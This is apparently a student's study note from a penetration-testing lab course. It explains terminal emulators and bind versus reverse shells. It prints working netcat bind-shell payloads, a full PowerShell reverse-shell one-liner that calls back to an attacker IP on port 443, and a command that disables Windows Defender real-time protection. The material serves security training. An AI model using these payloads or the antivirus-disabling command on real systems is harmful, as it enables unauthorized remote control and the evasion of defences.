☑️Shells

Anatomy of a Shell

Every operating system has a shell, and to interact with it, we must use an application known as a terminal emulator. Here are some of the most common terminal emulators:

Terminal Emulator	Operating System
Windows Terminal	Windows
cmder	Windows
PuTTY	Windows
kitty	Windows, Linux and MacOS
Alacritty	Windows, Linux and MacOS
xterm	Linux
GNOME Terminal	Linux
MATE Terminal	Linux
Konsole	Linux
Terminal	MacOS
iTerm2	MacOS

Command Language Interpreter

Much like a human language interpreter will translate spoken or sign language in real-time, a command language interpreter is a program working to interpret the instructions provided by the user and issue the tasks to the operating system for processing. So when we discuss command-line interfaces, we know it is a combination of the operating system, terminal emulator application, and the command language interpreter. Many different command language interpreters can be used, some of which are also called shell scripting languages or Command and Scripting interpreters as defined in the Execution techniques of the MITRE ATT&CK Matrix.

Lets take MATE terminal emulator for example. It's been pre-configured to use command language interpreter. As we enter the terminal we will see the $ sign. The $ sign is used in Bash, Ksh, POSIX, and many other shell languages to mark the start of the shell prompt where the user can begin typing commands and other input.

We can check what shell language is in use with env command:

anonmak9@htb[/htb]$ env

SHELL=/bin/bash

One of the main points we can take away from this is a terminal emulator is not tied to one specific language. For example, we can make MATE terminal emulator to run PS commands. (blue icon)

Bind Shell

With a bind shell, the target system has a listener started and awaits a connection from a pentester's system (attack box).

Challenges

• There would have to be a listener already started on the target.

• If there is no listener started, we would need to find a way to make this happen.

• Admins typically configure strict incoming firewall rules and NAT (with PAT implementation) on the edge of the network (public-facing), so we would need to be on the internal network already.

• Operating system firewalls (on Windows & Linux) will likely block most incoming connections that aren't associated with trusted network-based applications.

On the victim machine:

nc -lvnp 7777

On the Attack machine:

nc -nv 10.129.41.200 7777

Establishing Bind Shell

On the victim machine:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

The commands above are considered our payload, and we delivered this payload manually. We will notice that the commands and code in our payloads will differ depending on the host operating system we are delivering it to.

Now on the Attack machine:

anonmak9@htb[/htb]$ nc -nv 10.129.41.200 7777

Target@server:~$  

Note that we had complete control over both our attack box and the target system in this scenario, which isn't typical. It makes bind shell much easier to defend against. it is more likely to get detected and blocked by firewalls even if standard ports are used when starting a listener. There are ways to get around this by using a reverse shell.

Reverse Shell

With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.

We will often use this kind of shell as we come across vulnerable systems because it is likely that an admin will overlook outbound connections, giving us a better chance of going undetected.

Check out Reverse Shell Cheatsheet Github.

On the Attack machine:

anonmak9@htb[/htb]$ sudo nc -lvnp 443
Listening on 0.0.0.0 443

We use port 443 (HTTPS). We may want to use common ports like this because when we initiate the connection to our listener, we want to ensure it does not get blocked going outbound through the OS firewall and at the network level. Note that a firewall capable of deep packet inspection and Layer 7 visibility may be able to detect & stop a reverse shell going outbound on a common port because it's examining the contents of the network packets, not just the IP address and port.

Now, lets say we are attacking a Windows machine where Netcat isnt a native application. We can use a PowerShell one liner

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

This PowerShell code can also be called shell code or our payload.

What happens when we run this PS command?

At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

The Windows Defender antivirus (AV) software stopped the execution of the code. This is working exactly as intended, and from a defensive perspective, this is a win.

For our purposes, we will want to disable the antivirus through the Virus & threat protection settings or by using this command in an administrative PowerShell console (right-click, run as admin):

Disabling Windows AV

Set-MpPreference -DisableRealtimeMonitoring $true